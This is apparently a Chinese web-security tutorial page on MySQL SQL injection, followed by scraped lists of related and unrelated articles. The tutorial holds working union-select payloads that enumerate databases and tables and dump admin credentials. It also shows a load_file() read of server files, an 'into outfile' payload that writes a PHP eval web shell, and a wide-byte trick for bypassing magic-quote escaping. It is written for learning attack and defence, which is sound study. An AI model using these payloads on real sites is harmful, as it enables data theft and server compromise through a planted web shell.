十三:SQL注入之MYSQL注入
MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作,其中也会遇到很多的阻碍,相关防御手法也要明确,所谓知己知彼,百战不殆。作为安全开发工作者,攻防兼备。
注入点权限是否为root,取决于连接数据库的文件。这也决定了高权限注入及低权限注入
跨库查询及应用思路
information_schema 表特性,记录库名,表名,列名对应表
获取所有数据库名
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
查表,找与网站对应的数据库名,若没有,则挨个查。或者使用 union select 1,2,database()
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'qqyw'
跨库查列,,,
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'admin' and table_schema='qqyw'
查结果。。。
?id=-1 union select 1,u,p from qqyw.admin
文件读写操作
load_file():读取文件函数
into outfile或者into dumpfile:导出函数
路径获取常见方法:
报错显示 (phpinfo.php) ,遗留文件 ,漏洞报错,平台配置文件
常见读取文件列表:(需得知网站绝对路径)
union select 1,load_file('D:\\phpmyadmin\\dudu.txt'),3
常见写入文件问题:魔术引号开关
union select 1,'<?php $eval($_POST['dudu']);?>',3 into outfile 'D:\\www\\dudu.php'
魔术引号及常见保护
php.ini中存在magic_quotes_gpc选项,称为魔术引号,此选项打开,使用GET,POST,cookie所接收的'单引号,"双引号,\反斜线和NULL字符全部被加上一个反斜线转义。此时,注入类型是字符型注入已经无法构成威胁。
编码或者宽字节进行绕过
isset无法绕过 替换关键字
在数据库使用了宽字符集而WEB中没考虑这个问题的情况下,在WEB层,由于0XBF27是两个字符,在PHP中比如addslash和magic_quotes_gpc开启时,由于会对0x27单引号进行转义,因此0xbf27会变成0xbf5c27,而数据进入数据库中时,由于0XBF5C是一个另外的字符,因此\转义符号会被前面的bf带着"吃掉",单引号由此逃逸出来可以用来闭合语句。
自定义关键字替换
WAF对常见攻击语句进行报错,绕过思路
低版本注入配合读取或者暴力
5.0版本以下,跑字典。。
字典或读取
十三:SQL注入之MYSQL注入的更多相关文章
- 【mysql注入】mysql注入点的技巧整合利用
[mysql注入]mysql注入点的技巧整合利用 本文转自:i春秋社区 前言: 渗透测试所遇的情况瞬息万变,以不变应万变无谓是经验与技巧的整合 简介: 如下 mysql注入点如果权限较高的话,再知道w ...
- 对MYSQL注入相关内容及部分Trick的归类小结
前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...
- sql注入之简要注入
#mysql简要注入流程 mysql注入简要流程如下图: 由于还没学习完先结合sqlilabs的第一关讲解信息收集的一部分和数据注入的information_schema的有据查询. #sqli-la ...
- sql注入笔记-mysql
整理下sql相关知识,查漏补缺(长期更新) 1 常用语句及知识 information_schema包含了大量有用的信息,例如下图 mysql.user下有所有的用户信息,其中authenticati ...
- SQL注入之DVWA平台测试mysql注入
今天主要针对mysql常用注入语句进行测试. 测试环境与工具: 测试平台:DVWA,下载地址:http://down.51cto.com/data/875088,也可下载metaspolit-tabl ...
- sql注入原理+mysql相关知识点
什么是SQL注入 sql就是经常说的数据库,而sql注入就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.SQL注入是比较常见的网络攻击 ...
- SQL注入之MySQL常用的查询语句
MySQL是一种使用很广的数据库,大部分网站都是用MySQL,所以熟悉对MySQL数据库的注入很重要. 首先来说下MySQL注入的相关知识点 在MySQL5.0版本之后,MySQL默认在数据库存放一个 ...
- SQL注入之MySQL报错注入整理
看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...
- 【sql注入教程】mysql注入直接getshell
Mysql注入直接getshell的条件相对来说比较苛刻点把 1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道 2:gpc没有开启,开启了单引号被转义了,语句就不能正 ...
随机推荐
- 四、Zookeeper伪集群搭建
伪集群模式 Zookeeper不但可以在单机上运行单机模式 Zookeeper,而且可以在单机模拟集群模式 Zookeeper的运 行,也就是将不同实例运行在同一台机器,用端口进行区分,伪集群模式为我 ...
- GET和POST的区别与联系
每日知识-GET和POST HTTP:超文本传输协议 组成部分:请求行,请求头部,一个空行,请求数据 GET和POST GET:get就是获取的意思,默认的HTTP请求方式,把参数通过 key/val ...
- double类型和int类型的区别
引例: double a=19*3.3; System.out.print(a); 结果为62.9999996,不是62.7:这里不单纯是因为给的是double类型 (1) 62.7 和 62.699 ...
- Envoy入门实战部署
一.Envoy介绍 官方文档解释: Envoy是专为大型现SOA(面向服务架构)设置的L7代理和通信总线.该项目源于以下理念:网络对应用程序来说应该是透明的.当网络和应用程序出现问题时,应该很容易确定 ...
- ubuntu 开启关闭mysql服务
etc/init.d/mysql restart //重启 etc/init.d/mysql start //开启 etc/init.d/mysql stop //停止
- Linux IO/NFS tunning 性能优化及检测
Linux IO/NFS tunning:IO Test=======dd 测试读性能的命令# time dd if=/nfsfolder/testfile of=/dev/null bs=1kdd ...
- 个人微信公众号搭建Python实现 -个人公众号搭建-被动回复消息建模(14.3.2)
@ 目录 1.阅读官方文档 2.思考 关于作者 1.阅读官方文档 点击进入微信官方开发者文档 接收普通消息 文本消息 图片消息 语言消息 视频消息 小视频消息 地理位置消息 链接消息 接收事件消息 关 ...
- 拥抱云原生,如何将开源项目用k8s部署?
微信搜索[阿丸笔记],关注Java/MySQL/中间件各系列原创实战笔记,干货满满. k8s以及云原生相关概念近年来一直比较火热,阿丸最近搞了个相关项目,小结一下. 本文将重点分享阿里开源项目otte ...
- MySQL5.7.26安装及启动报错解决
一.安装依赖包 [root@db01 ~]# yum install -y lrzsz [文件上传/下载] [root@db01 ~]# yum -y install xfsprogs [安装磁盘格式 ...
- easyui中连接按钮样式
方法1. <a href="otherpage.php" class="easyui-linkbutton" data-options="ico ...